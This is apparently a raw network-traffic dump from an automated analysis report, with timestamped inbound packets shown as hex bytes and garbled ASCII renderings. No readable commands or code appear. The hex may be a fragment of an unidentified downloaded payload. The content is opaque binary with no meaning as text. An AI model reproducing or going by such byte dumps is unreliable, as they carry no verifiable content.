1b c3 61 9f 19 85 44 ef bd d0 ac 91 ba 7f 67 3b 2c 2e a0 ab 56 5f aa d3 56 de e6 8b 8b 65 a6 f7 52 6d 31 52 80 bc 11 7a 
bf 9f d3 1e 94 71 7c 8b 1f e0 5d 8a b4 7a 3d cd dc 00 28 15 d8 21 37 ca ed b8 94 8f f8 67 a1 18 5d 5b 1c e3 6a 88 91 37 
06 7c 52 ed 3d c6 c0 3e de 1a b2 48 3c 71 72 62 93 dc 18 
Data Ascii: U~1M0:9aHp-*fh)cc2kn.UM%ig${IdBE&yE|e\:w#n;+pB`9$`0.X;aE'aDg;,.V_VeRm1Rzq|]z=(!7g][j7|R=>H<qrb

2022-09-20 10:10:08 UTC 2106 IN Data Raw: b4 62 2e e6 14 cc 42 2a 00 1a 18 e9 b0 a5 4b 0f 5d 6b 64 e9 37 bf 67 4c 2c dd d8 02 ec 03 4b a1 8c 35 bc 8d 
64 33 ee e9 30 93 1d 9c 96 64 42 95 e1 48 d9 69 b1 55 40 dd 59 9e 83 8e be 4a 3e 6d 23 68 6f 2b df 18 76 86 b1 18 c3 
ce 30 7c bd 17 1a 84 ed 95 98 7f 11 76 ee 2e fd fc 07 e2 f8 c9 28 19 1a 0e bc a9 c9 4d 89 8f f0 1d 11 6b 8b 53 77 de ed 
7d d8 0d 9a e3 33 52 08 cc 37 c7 3a 00 be 0c 91 8f 1d eb 2d 88 52 2f 91 ea a1 27 eb 93 38 65 fe a3 ba 38 36 b7 46 50 69 
34 28 df d9 2f a0 9c d7 1f 4e 39 41 fd bd 14 7a e3 04 56 87 e4 bd 6a 92 ef d4 e1 3e 4d c8 e2 fe 25 a9 14 27 a6 8a ce ae 
ea 47 83 d8 81 17 6f fb 14 dc 26 3c 5f d0 8e 9f e1 9d 6b 82 43 cb e5 4a 1c 00 5b e0 b5 66 c8 03 a5 da e2 34 60 5c 35 45 
27 e0 d7 f0 9a a2 4e a5 38 a3 66 6e 17 fe 5b 14 54 8a d3 95 
Data Ascii: b.B*K]kd7gL,K5d30dBHiU@YJ>m#ho+v0|v.(MkSw}3R7:-R/'8e86FPi4(/N9AzVj>M%'Go&<_kCJ[f4`\5E'N8fn[T

2022-09-20 10:10:08 UTC 2114 IN Data Raw: 52 ed f8 a0 77 11 e9 c2 36 c8 50 78 42 10 a8 0f 31 dd 22 d5 ce 13 44 66 41 64 c0 56 55 10 df 32 82 05 75 b1 
11 5a 16 5e 07 28 29 43 94 2c c0 d3 b0 0d 7b fd 29 19 a4 e1 04 ed c9 42 4f 50 01 ba e4 f4 6d f3 4e 0b d6 5c 1d 94 1b 91 
be a9 38 51 f8 42 41 e1 e5 41 2c c0 28 5c 4c 30 52 ba e4 a6 28 1d da 24 f7 67 c1 a4 8a 38 d1 96 a0 5a 90 df f3 a1 34 5b 
ea d9 2e 79 2e 8d 61 b1 0a c5 ce 81 94 80 31 58 68 b2 91 31 10 27 70 0d 3c 11 0c fa 57 85 2e e5 71 5f da ca 6c f4 b4 f9 
d8 e2 bf 25 ec 79 2b ec 33 ad fe f5 62 3e e0 f7 9f c3 e6 6f 03 cc 9e d2 a5 df 5f 1f 0e fb be 85 f6 a9 2a 6d 7e b7 f8 bf 0f 8b 
a7 0c e8 07 0c ca 2d 38 bf c3 75 fb eb 0e b9 c1 3f 55 27 07 95 61 ee 23 7f a6 b6 4f 23 b7 03 f2 66 31 88 60 1c 9b e4 46 ff 
b0 50 79 0c a3 f0 21 8a fd 50 28 73 f8 31 af 23 
Data Ascii: Rw6PxB1"DfAdVU2uZ^()C,{)BOPmN\8QBAA,(\L0R($g8Z4[.y.a1Xh1'p<W.q_l%y+3b>o_*m~-8u?U'a#O#f1`
FPy!P(s1#

2022-09-20 10:10:08 UTC 2122 IN Data Raw: b7 49 e4 41 0c 2f fc 18 ed d7 a0 83 7b cb a0 f4 5c ea ee 54 f2 b0 cc ed 06 d9 c5 dd 68 d1 b7 3a 6a 2c f8 ac 33 
0f 0c 0b b3 5c 37 d9 f6 eb 45 23 1e 4b 59 d5 30 7a 5d 49 cd 8e 2e 44 dd 93 d2 b2 9f 25 b2 ff 24 21 bc a4 05 8b ed 64 47 
69 2c 7a a7 e8 cc de 81 5c c4 45 45 8a be af c8 2c 51 e4 63 51 e4 4b 3c 48 1f 57 8c 3b ac 5e 7c 26 5f 6d cd 9a df f6 c4 fb 
ed a4 f6 84 05 71 4d 54 f0 d1 04 8a 9b 80 87 31 80 9b f1 4b 6d 7a ca 7b 7a 32 3a 45 06 fa 77 0f c6 12 cf a6 0d f0 f7 f9 38 
ad ea 9c f1 88 c7 47 f5 f2 92 21 2d 8f dc 73 d7 97 7b f7 ec d9 d3 10 6b 6c 6c 54 1a 8e 7b 7a f7 ee fd 40 7e 74 a6 3c 64 69 
ed 9b 58 e5 af a1 8e f8 eb 8c b7 d4 8d a7 44 37 4a 27 70 65 39 7c 21 a0 38 13 ca 79 27 51 9e f0 36 f2 3b 57 12 7f cd 1a 
a5 38 dc b6 2b fb db b8 76 e0 b5 fe 26 5c 50 
Data Ascii: IA/{\Th:j,3\7E#KY0z]I.D%$!dGi,z\EE,QcQK<HW;^|&_mqMT1Kmz{z2:Ew8G!-s{kllT{z@~t<diXD7J'pe9|
!8y'Q6;W8+v&\P

2022-09-20 10:10:08 UTC 2130 IN Data Raw: 18 c4 bf 37 49 a7 5a ec b5 62 66 8d d8 41 7a c3 3b c4 a3 4a a3 8d 74 c0 07 fd d2 62 e2 be da 42 8c 5e 3f 12 
ed 42 81 e6 e1 1e d5 db b3 05 e3 b1 db 8f dd bd ac e4 42 34 59 ba 8e 1d 4f 33 1d ca 0e 58 9c c0 41 e6 5a 76 fc 9e ae 14 
20 4f c5 ce 75 58 ce af 9b 91 e3 7a 4b d9 5a 0a 1a 73 23 97 ee 0e 24 d4 fa b3 75 ea 54 b0 f2 03 e3 7c b8 d1 72 3e 58 07 
a1 eb 3a 1a 84 45 62 10 52 a3 29 e4 22 e0 22 17 01 ba 8e 83 a3 00 c2 39 b4 90 2f 1a f4 09 01 1b a3 14 ca 14 3c 5f 13 22 
66 10 17 ed ee 81 d6 26 a6 a2 89 43 96 9a e3 c5 8c da aa 5f b9 07 25 b4 7c c2 da 34 83 df 26 1f af 2a cb 78 bd d4 a5 b3 
71 7c c8 fd e1 30 cb a7 fe 62 3a 65 5f 8d 22 d4 5c fe a1 b6 0b fa 3b 10 69 30 f4 45 1b ed 6d ff e0 2d 71 5e fe 8d a8 c0 90 
2c 8c 73 a4 58 f2 ef c4 d6 cd b3 b4 ae 2d 8d 5a 97 a7 
Data Ascii: 7IZbfAz;JtbB^?BB4YO3XAZv OuXzKZs#$uT|r>X:EbR)""9/<_"f&C_%|4&*xq|0b:e_"\;i0Em-q^,sX-Z

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2137 IN Data Raw: 33 45 d3 12 f5 1a 3c 62 74 09 b6 63 9a bb 80 b5 13 b3 02 74 4f 96 84 e7 e6 25 4b 3a 13 60 8d 04 bd 8f ee 42 
3c b7 1c 89 93 1b 9c e9 3d 15 9e 5b 08 c9 5e a9 37 d5 fd 7b 1c df cd 93 0a df cd cb f8 6e 27 35 7f d3 5d 88 ef 96 6f c1 77 
43 ef 34 f5 dd df b2 34 1a db 63 af b9 b4 fd fd 59 4d a6 0e e3 f4 26 53 87 91 d9 64 c2 b5 45 1b 4d b8 b6 6f 1b cd 5b 5d bf 
2c 36 1f 2c 53 35 e7 76 8d d4 00 fd 32 fd 15 11 04 47 fb 2b fa 98 97 47 01 43 0d bd 43 e3 b5 d9 ed 26 5e 9b 47 0d db e8 
62 d7 40 c6 53 55 df 63 58 1f 1c de bc a6 cf 23 02 d9 86 0a 77 5c 28 0d 75 0e be 97 9e 59 80 3f 6f 5c e1 d0 61 86 c9 7f 
5e bf 82 83 50 66 a2 b6 d1 20 8c f8 9c 7c 48 af a1 89 cb 49 40 6d 43 fd a4 79 53 c8 fa e6 51 72 6e fa 7c 89 b8 6d b7 5b 
36 e3 a1 2d 0e f1 4d bb d2 82 db 66 c1 77 78 e2 59 
Data Ascii: 3E<btctO%K:`B<=[^7{n'5]owC44cYM&SdEMo[],6,S5v2G+GCC&^Gb@SUcX#w\(uY?o\a^Pf |HI@mCySQrn|m[
6-MfwxY

2022-09-20 10:10:08 UTC 2145 IN Data Raw: 0b 8b 06 59 4b 9d a8 53 fb d4 33 10 2b 8f 1f cc 50 c7 c2 fd 2f 2f 4c 4e 2e 0c 74 d8 45 79 84 26 a5 0e 85 5b 28 
88 bf a7 1c c8 49 52 5a f1 e0 c2 97 20 92 ae 6b ea b2 eb d5 10 e8 02 ea 30 7d 53 83 01 5a 39 f5 7c 1e 2d 9a 3a 0a f1 79 
b6 61 01 e1 50 d4 f2 8c db bf 82 e2 d3 b8 27 a7 d4 c8 c2 43 ba c6 21 ee 13 16 a2 3c ad ce 3d 01 f1 b7 55 a8 0e ab a3 d4 
43 98 98 8a e8 5e 76 70 ed c1 e2 93 90 ec 5c 78 90 1f d0 09 1a 9c 88 bd 76 17 4f df 21 aa 88 62 1a c3 fd 17 16 b2 83 85 
a6 e4 a5 85 ea 20 30 63 a0 c9 ae 52 fb 60 ed 38 af c3 ae 86 d7 f3 4c e8 42 c6 0f 40 3c af 84 3b 95 a9 0e b3 8a 74 87 1d 
41 97 f6 50 fd 55 bc 2e c8 59 ed 40 75 e7 6d 96 43 6a a2 3d db 60 37 53 e6 7c 5a 31 a9 0b c6 38 eb a8 e0 01 90 8f 56 1e 
40 83 dd 06 43 1e 52 05 65 e4 51 5c a1 e8 f6 e2 14 11 
Data Ascii: YKS3+P//LN.tEy&[(IRZ k0}SZ9|-:yaP'C!<=UC^vp\xvO!b 0cR`8LB@<;tAPU.Y@umCj=`7S|Z18V@CReQ\

2022-09-20 10:10:08 UTC 2153 IN Data Raw: 48 be b1 b6 0b ca dd ae f1 6e 07 f3 2b a8 a1 99 32 b4 30 44 30 62 de a7 33 54 12 f0 1e 56 c2 b8 5a cf 22 f7 
ca 3a 3b c2 a1 bd 2e d7 49 18 a0 35 0f 12 27 46 90 06 97 af 34 02 30 e7 63 6f ac 7c 89 a7 c6 c3 fe 97 57 3e c3 83 87 c4 
f0 0b 78 c4 c7 5a 1a 4c 59 80 25 f4 f8 35 8a 80 92 32 2d 61 84 21 f3 82 0f 10 6a 69 dd 22 7a b8 75 e0 d9 bc 1d 59 20 8c 
1b 84 06 21 29 e8 12 43 30 6f e1 fe f3 0b 92 97 17 60 2e 21 f9 87 f9 0c 08 77 d0 94 d7 c4 4f d1 88 6b 82 3e 34 d4 9e 3d 
d2 ae 4f 58 9a a0 12 cd 23 94 31 ff 6d 47 f4 db 9b 1d 3c 8a 13 62 c3 03 74 6e 06 0b 46 1e 26 3a ac c6 c2 fd c7 16 a8 97 
92 57 17 e0 4e 9a 77 4c fb fc 93 30 28 80 2d 47 19 1a ec 56 e9 9f 3a 4b 6d b7 b1 14 23 41 75 b8 7f 74 01 93 eb 20 58 00 
a2 d8 44 ab 57 1e 35 c4 fa 71 4d 59 5f 17 08 e5 6a 3b e7 
Data Ascii: Hn+20D0b3TVZ":;.I5'F40co|W>xZLY%52-a!ji"zuY !)C0o`.!wOk>4=OX#1mG<btnF&:WNwL0(-GV:Km#Aut 
XDW5qMY_j;

2022-09-20 10:10:08 UTC 2161 IN Data Raw: 5b 9e 35 b8 95 c4 f7 b0 95 16 b1 42 c5 9c a2 23 77 e4 72 a4 99 ba 58 b2 cf 78 c5 0a d3 57 ac 47 56 ac 48 56 
ac c4 bf 62 dd b2 62 dd 66 c5 68 e7 f2 72 61 40 a2 3e 7d 4c 5b 42 bc 22 8b 55 c4 8b c5 ae cb 7d c0 d8 81 dd e0 9a 2e 68 
47 35 fa 10 2a d6 b3 da fd 96 1b c5 74 4c 11 f4 2b d9 00 42 44 2f 09 a6 4a 4c e5 f4 19 25 1f f4 6b e5 45 63 aa 50 9b 42 e2 
15 61 6d ec 8b 98 35 9a a8 72 b1 fe c0 e0 33 98 0e 3c 15 d6 29 66 dd cd b4 06 e4 2c 9d 27 67 e9 95 6f eb 29 36 47 c2 
22 b9 d1 30 30 76 c1 85 b1 22 eb 2c 2f 8e 67 e0 cb 1d ae 18 f7 ba e0 9a 3c 64 3f 7b 8c f2 8f e4 89 6c ac 92 c1 29 19 17 
24 41 21 25 2a 53 6b cc b0 88 fd b2 0d 4c 1b 60 c0 82 8a b6 30 69 91 a9 83 31 0b d7 a2 50 bb 31 78 d4 a1 39 30 31 73 
01 13 60 d0 b4 d5 fc 98 75 94 89 4f b7 99 56 a6 1d a0 42 6c 
Data Ascii: [5B#wrXxWGVHVbbfhra@>}L[B"U}.hG5*tL+BD/JL%kEcPBam5r3<)f,'go)6G"00v",/g<d?{l)$A!%*SkL`0i1
P1x901s`uOVBl

2022-09-20 10:10:08 UTC 2169 IN Data Raw: f0 05 4c 28 54 ed 22 1f 9b 24 92 92 3c 17 51 04 72 50 af d3 11 a7 23 d6 3e 55 53 49 9b 6a fe b1 b2 03 d6 a8 
b3 26 63 fe 44 d9 a4 75 5e ed 99 7f 19 ae d5 26 c3 e1 fe e1 88 55 63 ab 35 85 f0 2c 76 24 22 b1 d6 ed 41 b5 06 5b 17 7b 
54 76 7c 78 1d 8e 16 6b 77 63 6b f3 ae 47 2f 02 04 a0 79 5d 66 7c 3d ab 26 f9 e6 b6 84 ba 1c 82 b1 76 a7 2a 32 f6 91 62 
0c a9 7a 21 4d 10 a4 c1 0b 1c f8 f2 a3 22 6c d4 5d 60 57 8c 8b 55 55 12 d0 62 c0 f1 49 9a e8 db 2c 06 53 b6 33 75 77 41 
b1 20 71 6c bd 85 50 98 be 2b 68 49 d1 d0 7c 2e 6a 8f dd 5d 21 45 69 85 c3 b2 46 21 c0 e6 dd f9 ba 68 b7 5b 34 94 5e 
b4 68 ec ee 72 29 4a a0 f5 5c 86 29 9a 33 76 77 6e b1 d8 2e e8 92 72 39 e9 e5 a8 5b a5 52 8e 00 7a a3 5b 2e 77 ec ee 
1c 5d ae 53 ca e5 a6 97 2b 1d bb bb 44 ca 65 76 b4 72 19 9a 3b 
Data Ascii: L(T"$<QrP#>USIj&cDu^&Uc5,v$"A[{Tv|xkwckG/y]f|=&v*2bz!M"l]`WUUbI,S3uwA qlP+hI|.j]!EiF!h[4^hr)J\)3vw
n.r9[Rz[.w]S+Devr;

2022-09-20 10:10:08 UTC 2176 IN Data Raw: a5 11 93 b4 45 92 7c 15 d6 9a a4 4d ba 42 4f 60 98 ca ea d9 4b 61 c2 36 22 c3 21 fd 76 69 49 25 14 fd 00 a2 
5f b6 f6 e8 47 4f 2d 1a b3 d5 de a0 77 9c 40 44 8f 11 3f 8b 24 fe 94 45 c4 ae 99 87 ca 5d a2 83 01 d7 79 99 6c dd 14 f4 
46 ed 91 6c fa 29 92 d0 63 61 54 2b 8a 89 48 1a e4 e4 24 8b da 19 95 d7 20 00 ac 92 49 f5 3d 3f ea fb 1e ad e8 21 ec 86 
36 5f a7 9e 70 1b 01 b3 14 d5 92 56 30 e0 d9 cf 84 41 37 00 7d 9b 9d 89 1f 68 e5 98 4d 52 32 ae 87 c5 d2 aa a2 f7 55 95 
f8 21 57 27 be 84 a9 0e ad 4e 06 1c 99 f8 b1 4e ca 10 1e a6 d2 11 0e 22 da c7 38 2f f1 df 74 32 68 3a cd 01 70 5c e2 a7 
ba 45 96 dd f8 17 0e 68 7c e6 ed 0b 96 5d 3a e7 f4 1b cb 7f a0 19 7a 2f a4 c3 7e 9a 8a 2e 90 a4 da a7 65 86 4f 42 ec ed 
2a c0 1c b1 49 eb 62 f2 24 ef 05 0a 59 7b cd 2e 70 25 84 
Data Ascii: E|MBO`Ka6"!viI%_GO-w@D?$E]ylFl)caT+H$ I=?!6_pV0A7}hMR2U!W'NN"8/t2h:p\Eh|]:z/~.eOB*Ib$Y{.p%

2022-09-20 10:10:08 UTC 2184 IN Data Raw: 30 24 dd c0 92 94 c3 8a 00 6f 0f dd f4 93 65 8a 00 a7 6c c3 8a c2 58 00 5d 14 62 12 5c ab e5 c4 b5 56 b1 7f 
ae d4 c8 7f 8d 17 16 05 fd 1c 50 c1 29 6c 0f 30 ba 0a 69 f8 eb 3c 98 4e 2a 83 9c 79 51 19 2e 42 a8 98 bc 79 d1 85 42 34 
94 2a 9f a2 87 85 29 02 51 b7 d1 a9 b2 28 ff 5d 3c e8 4b 89 ae 1b 99 a7 30 1b 8d d9 5f 18 af 12 5b a4 ab 2e 1a b3 20 37 
82 f7 ed ff 10 72 e4 31 72 2c 65 73 95 a3 f5 40 fa 72 13 68 ef ee 8f 95 4f 79 0f 08 0a 03 07 da 4f 22 a8 ba b8 f9 e6 61 3b 
f0 99 2b 6e 32 85 c2 c2 17 1e 65 c9 cb 8d 1e 45 df 82 b2 29 d7 1b 6c e7 0b 25 b2 a9 04 30 5f 1d db eb 61 63 05 7a 4f 70 
dd e5 b2 ea 72 50 24 06 e7 bb ee c2 1c 36 b4 e1 e9 3a 73 fe dc 46 38 65 04 35 f0 db 95 f5 de 26 38 ba 7f 19 f8 f9 c0 66 
a5 53 f9 58 d9 d4 50 60 25 40 33 6d 50 ad 07 ea 97 a3 
Data Ascii: 0$oelX]b\VP)l0i<N*yQ.ByB4*)Q(]<K0_[. 7r1r,es@rhOyO"a;+n2eE)l%0_aczOprP$6:sF8e5&8fSXP`%@3mP

2022-09-20 10:10:08 UTC 2192 IN Data Raw: 99 a1 74 9a 36 18 56 ef e8 17 df cd 00 7e dd 41 00 94 ce a8 fd c9 cb 1d bc 2a 22 ce 4d 84 87 12 9e 70 75 44 
c6 97 73 8f c2 df 95 c2 7f 1d 07 5c 4e 7e 6e 7e 80 46 d1 d1 76 ad a3 b5 40 a2 a4 a5 3d c3 94 08 96 b1 c5 15 ec 81 26 44 
0b eb 05 5e 5f d6 cf 58 dd a6 ae 96 40 57 45 07 bd 84 32 0f 9e 48 47 45 0e ae cf a3 27 e0 e9 24 c7 81 20 51 e4 1b 5e d7 
4b fd d3 17 c5 58 24 a4 d9 9a bd c7 bc 38 6d 2f ea fe 62 88 54 49 c7 03 1e 6e 46 44 78 94 79 06 f4 7f ce 0b 17 70 0c 41 
f7 18 53 97 69 9e e3 2e d0 7d ad 40 4f 2e 8b 70 15 5c fc b6 7f a9 09 e4 fc 0e 5d 81 9b 9e 8f d8 9d 52 81 ce b4 b5 32 8d 
a3 24 25 42 91 6d b5 ca a7 09 fb 30 b8 5e a6 2b d8 20 7a 30 f5 08 26 6d 08 b6 ff 71 6f 54 34 e5 46 53 bc be 6c 11 ab 8f 
e2 f4 c1 49 75 ae f7 40 db 51 8d 81 4d d6 31 d5 9e 6c ff 
Data Ascii: t6V~A*"MpuDs\N~n~Fv@=&D^_X@WE2HGE'$ Q^KX$8m/bTInFDxypASi.}@O.p\]R2$%Bm0^+ z0&m
qoT4FSlIu@QM1l

2022-09-20 10:10:08 UTC 2200 IN Data Raw: 94 33 ea 23 52 69 87 de fe ef f5 b1 10 d6 57 fa d6 47 a4 d2 5e fd 1f f5 97 8b fa e3 63 ea 8b 23 df 89 98 28 c8 
be 47 28 da c8 3d 71 eb b2 3e e5 49 d5 21 ca eb e5 92 9f 8c df 3e f4 0f 8b 6a c9 ff a3 7f 04 0f e0 bc f0 52 fc fe 7d d0 4f ff 
4e eb a7 7f 1f c4 f4 ef e6 95 fd f6 0f 8b 6a 37 bf f5 df fb f7 81 e8 df 40 73 ff a4 7d 5d 9d c7 8f ce 3e 50 ce 87 d5 24 bf 51 ea 
6d 52 7a 50 1b 8d 6e 18 6c 8b a5 ce b3 93 3a 94 8f ea e0 6f f8 a8 88 b0 3d ab ac 3d a2 16 91 86 e7 da 5d 1d a4 91 3f 63 
06 6f 84 73 f9 93 c4 43 ca 48 16 70 85 9a 94 22 8b 2b 78 7a 92 c5 b2 a4 1b 6f 5c ae e0 a5 56 fc 4e 1b 66 ae 44 ab 47 d7 
02 a8 22 d2 30 bf 99 24 af b6 99 da 35 b3 d8 d3 4f 49 c0 76 36 4d e7 76 3e 9c 2e 36 9c 2b 78 0b 6b 0c dd e7 5a a3 77 05 
6e 83 b6 74 73 7c 80 eb 63 4a c8 f8 08 
Data Ascii: 3#RiWG^c#(G(=q>I!>jR}ONj7@s}]>P$QmRzPnl:o==]?cosCHp"+xzo\VNfDG"0$5OIv6Mv>.6+xkZwnts|cJ

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2208 IN Data Raw: 34 bf c2 a9 40 3d d8 76 4a 2c 97 36 5c ac ce 2d 2e 46 8b fd e9 b8 4a c0 5d ca 64 9f 29 51 fe e3 04 3f 65 43 b4 
bc 23 8d 0c 28 98 71 45 fd 29 fb 56 af 16 2c ec 96 64 49 ac 1f 17 4f ee 74 cb 43 74 a9 c1 42 ae 62 16 32 99 94 38 22 6b 
30 76 b0 1a 79 bd 54 7a 53 ca 6f 4a c5 9b 49 52 7b f0 6c af c0 52 d4 3d e0 a2 20 27 ad 1d 4c 66 3e 60 e1 af 5d e8 cc 13 
68 4a a0 19 1d 3f 84 d8 89 51 6a 71 ca 3b d2 7b 60 4a 37 14 b9 31 a5 2d 01 f9 c7 34 93 e2 13 45 ac 39 f0 b2 4d d3 e3 87 
c3 f8 dd fd cf 6f 5a ec fc 8e 12 eb 8a f2 0c 9c 6a a1 06 b6 8d e2 69 76 9b a7 59 cf 2f 1a 9d bf 04 e3 f3 94 a5 6e 30 d6 37 
2d ce fb 34 be 76 0c 46 e8 e1 63 92 05 7f 19 c3 9e 09 f8 4e ea 24 16 fc c0 cd 05 37 98 f9 37 d3 fb b4 3c 7e ef 8d e2 47 3d 
7d da 1f 58 e6 e1 fe 95 13 ca 3b 3a b6 8f 1c e7 
Data Ascii: 4@=vJ,6\-.FJ]d)Q?eC#(qE)V,dIOtCtBb28"k0vyTzSoJIR{lR= 'Lf>`]hJ?Qjq;{`J71-4E9MoZjivY/n07-4
vFcN$77<~G=}X;:

2022-09-20 10:10:08 UTC 2216 IN Data Raw: 3e 3d 82 0e 79 15 f8 be 05 38 95 76 34 22 cd 0d 2a fd db 7c 4d 56 5f b3 3d 17 7c 74 fc 6f b0 ce d9 5f 19 4a 4d 
25 4f 48 00 93 f8 64 91 34 89 57 c5 24 26 66 fe f2 04 18 c5 0c 57 23 fe 4d 3b dd 07 9c 67 6a 40 0f e7 3b 5d a0 d4 5c 6e 
83 3f 5c 97 d5 13 2b 3f 48 6d 64 d3 75 ab ae 17 21 2e be e8 c0 5a e2 ee 0b 73 99 f8 5f 14 63 7f a2 b1 e0 0c 36 9e 03 c6 
73 48 e3 e9 17 1a f9 1a 8d ef 30 33 7a bc 6f bf eb 8c d1 cf 0e 82 80 4c 98 2c 03 12 6b 5a f4 72 39 3e 12 be 8e 91 49 f9 fb 
6b 49 d2 54 02 97 01 19 1f 00 01 63 32 73 5b bc f0 80 98 c6 88 43 06 a0 c2 b1 24 8c 8b 93 19 68 55 02 9d 8c ee f9 aa dc 
19 56 25 70 90 fd a9 f5 ce dd a3 04 46 25 89 38 59 80 df a5 1c 6b 63 91 5a e0 bd 48 9c 51 cc ff 1f 89 4b b8 e8 2c 76 5c 
6a 55 fc f3 e8 71 c3 79 65 42 34 0d 11 8f 1c 90 99 
Data Ascii: >=y8v4"*|MV_=|to_JM%OHd4W$&fW#M;gj@;]\n?\+?Hmdu!.Zs_c6sH03zoL,kZr9>IkITc2s[C$hUV%pF%8Ykc
ZHQK,v\jUqyeB4

2022-09-20 10:10:08 UTC 2223 IN Data Raw: 37 15 68 f9 05 b8 4d 75 78 49 e3 0a 79 86 bb c1 02 2a f7 1f a5 25 14 b1 55 6c cd 8c fa 79 7c 61 8c d7 ca 0b 
48 d5 b6 9b 63 6a c1 41 3b 14 c5 42 b8 ba bb 72 47 b1 2f 1d e8 35 cf 74 3e e6 59 ee 4a 31 cf b6 dd f1 96 7f 86 78 c1 9b 
54 f0 6c 6d 0a f9 47 c6 60 bd c3 e3 d7 47 79 38 5d e2 48 af 1f 4e f3 af a7 38 be f8 a0 cd b9 1c be bc c7 be 38 f1 cc f9 01 
3c fd 00 4f a0 2d 71 42 66 54 d3 34 78 c2 c4 32 8b fe 86 3a 41 db e7 9f e9 e0 14 10 9a 53 e1 46 93 20 80 fb d0 07 1c 61 
9c e3 63 5d 3a 1a 71 cb ab a5 be 08 9e 2d eb a7 c9 a2 16 82 e0 63 6a cf 60 61 3f 23 0f 3b c4 33 4e a4 d8 1e f8 3b c0 ec 
3e 82 c6 07 0a 5f 78 8c ef 9f 0b 79 15 0b 79 8b 6e ab 5a 74 7c 85 8e f2 ac 7a 1d c0 e4 78 fc 11 82 84 c6 22 54 be 2c bf 
3d 08 7e eb 0a 9d 2a 20 bf a2 20 17 16 c3 0c 39 84 1b 
Data Ascii: 7hMuxIy*%Uly|aHcjA;BrG/5t>YJ1xTlmG`Gy8]HN88<O-qBfT4x2:ASF ac]:q-cj`a?#;3N;>_xyynZt|zx"T,=~*  9

2022-09-20 10:10:08 UTC 2231 IN Data Raw: a2 b3 90 b8 20 18 e5 6c 0e f5 c6 26 d6 e9 e8 55 e4 3f 49 13 e2 ca ef 9b c0 8f 24 50 37 ef 21 ff 79 b7 5d 86 03 
fb 85 75 74 bf c5 3a 30 cc 00 c3 0d 4f 91 d6 31 19 d6 cd 0e 1c 53 88 75 b8 f9 68 7a a4 3e 8d ed ba 05 b4 6c e0 45 9c 41 
34 24 82 af 9a cf 9e d2 27 5c 7f b3 cb e5 ad b4 8e 74 9d e4 ba 55 b3 d3 32 bc 62 11 b3 a4 82 f0 d8 fc 79 03 70 ae 7f 7f c8 
50 b5 be 47 14 31 d7 16 65 52 3b bb 42 38 23 77 4d 38 0b 0a 61 94 ac a3 c9 d7 99 4f 34 3a 88 e8 1d 0b 97 48 6d 5c 61 
4c 3f c2 7c 6c 63 00 dd 59 ae cd 17 0a 21 27 98 15 23 6d 84 7e 24 d4 7f 1b 3a 98 52 c3 60 33 d6 c1 fe 68 a8 49 3d 7e 53 
ee 0d ed 89 9a 9a e6 a1 47 c7 ba f3 73 5b ef 33 51 8c 1f 84 a6 ef 77 94 2d d6 da 8f 85 8c d3 b6 02 68 9e 57 b6 d9 1a 8c 
b5 f4 61 39 29 b5 b7 0d 0d a6 81 87 54 c0 ca 67 09 ca 
Data Ascii:  l&U?I$P7!y]ut:0O1Suhz>lEA4$'\tU2bypPG1eR;B8#wM8aO4:Hm\aL?|lcY!'#m~$:R`3hI=~SGs[3Qw-hWa9)Tg

2022-09-20 10:10:08 UTC 2239 IN Data Raw: a2 ac 0b 50 d3 c1 6a 9c b0 34 6f a0 cb c7 c6 79 5d 17 3a 4c a3 16 dc ac 10 f0 24 ad 9a 5b a9 7e 45 cd e9 ad 
87 04 bc 2a 05 59 d1 db 86 22 40 df b1 ff 8d 3c f8 6a f3 cb 60 f9 35 a6 42 81 cb 0f 7c f7 24 3b 0c 94 32 d9 ec cf d1 31 3e 
3e eb a9 f2 1f 2d a7 89 f7 67 7d 90 9d 40 f2 db 07 8f b8 6f fd 78 6e d0 9e d5 7d b0 7d 65 dc 6e 50 ec 7a 5c 2c 3e 6f 64 a3 
10 34 f7 71 c8 82 b6 96 b8 b1 2a b4 03 95 75 90 ac 6c 81 17 97 06 d0 b8 c5 98 c5 9e 46 07 13 02 9e 47 69 ba 85 2d 09 
86 50 e4 76 b1 a2 be 8b 91 6b 3b 76 a3 b7 f5 7f fe f1 a4 f3 c3 53 64 ef 97 86 96 8b c4 ae 06 8b e8 3c dc ff fa ad cb cb 53 
15 f2 cc 9f 48 f9 57 6a cd b2 ee 46 c0 bf 82 58 60 da 2f bd de c7 41 cb f1 38 56 9d 38 38 3d ea 5e 38 f1 d0 02 35 ee 4c 2f 
1d 19 bd 08 01 c3 8f 75 e2 f3 93 bb 76 6b d7 87 
Data Ascii: Pj4oy]:L$[~E*Y"@<j`5B|$;21>>-g}@oxn}}enPz\,>od4q*ulFGi-Pvk;vSd<SHWjFX`/A8V88=^85L/uvk

2022-09-20 10:10:08 UTC 2247 IN Data Raw: f1 c0 dc fc 3b d9 bf 68 fd 65 34 66 18 e5 02 9a 2d ff aa f7 73 58 21 e3 ff 23 0f 63 1f f3 8b 08 c7 00 46 e7 ef 85 
5f 7f d9 5f c2 36 e2 b6 a3 00 cb ff e0 22 28 8c b1 b1 17 91 4a 4a c8 77 5a a9 b2 6e b7 f0 4f 70 34 7f 87 2a 0c cb 16 24 9b 
41 b2 3e 0a c1 33 f3 bb 48 17 2f e6 fc f4 27 c0 db 58 24 9b 99 43 25 fb d3 cf 1c 5a 5f be 28 3a 84 51 19 c3 53 6b c8 73 44 
6e 3d 7e 01 37 c2 2b f7 a8 1f 8e d8 02 5a ae 56 81 2b 46 1b 7d ca 27 1f 48 99 24 54 59 08 fd b7 df 0a 77 ef 4e 89 21 71 
71 3f 8c d7 52 89 7a 0d 68 09 c8 88 9c 0c 60 ca 77 96 eb 05 eb eb 60 5b 68 51 2c cb 8f ca 3b 18 39 28 8f da 17 9b 53 71 
26 a9 19 fb 1e 4a d0 14 93 1c ee e1 21 ea b3 16 47 af 50 e5 e5 d3 21 8c 67 46 5d 97 19 da 6e d9 70 7d 9f d6 25 d0 fb 01 
62 0a 9e 49 3d 33 0d 35 e5 ae fd eb b5 9b d8 
Data Ascii: ;he4f-sX!#cF__6"(JJwZnOp4*$A>3H/'X$C%Z_(:QSksDn=~7+ZV+F}'H$TYwN!qq?Rzh`w`[hQ,;9(Sq&J!GP!
gF]np}%bI=35

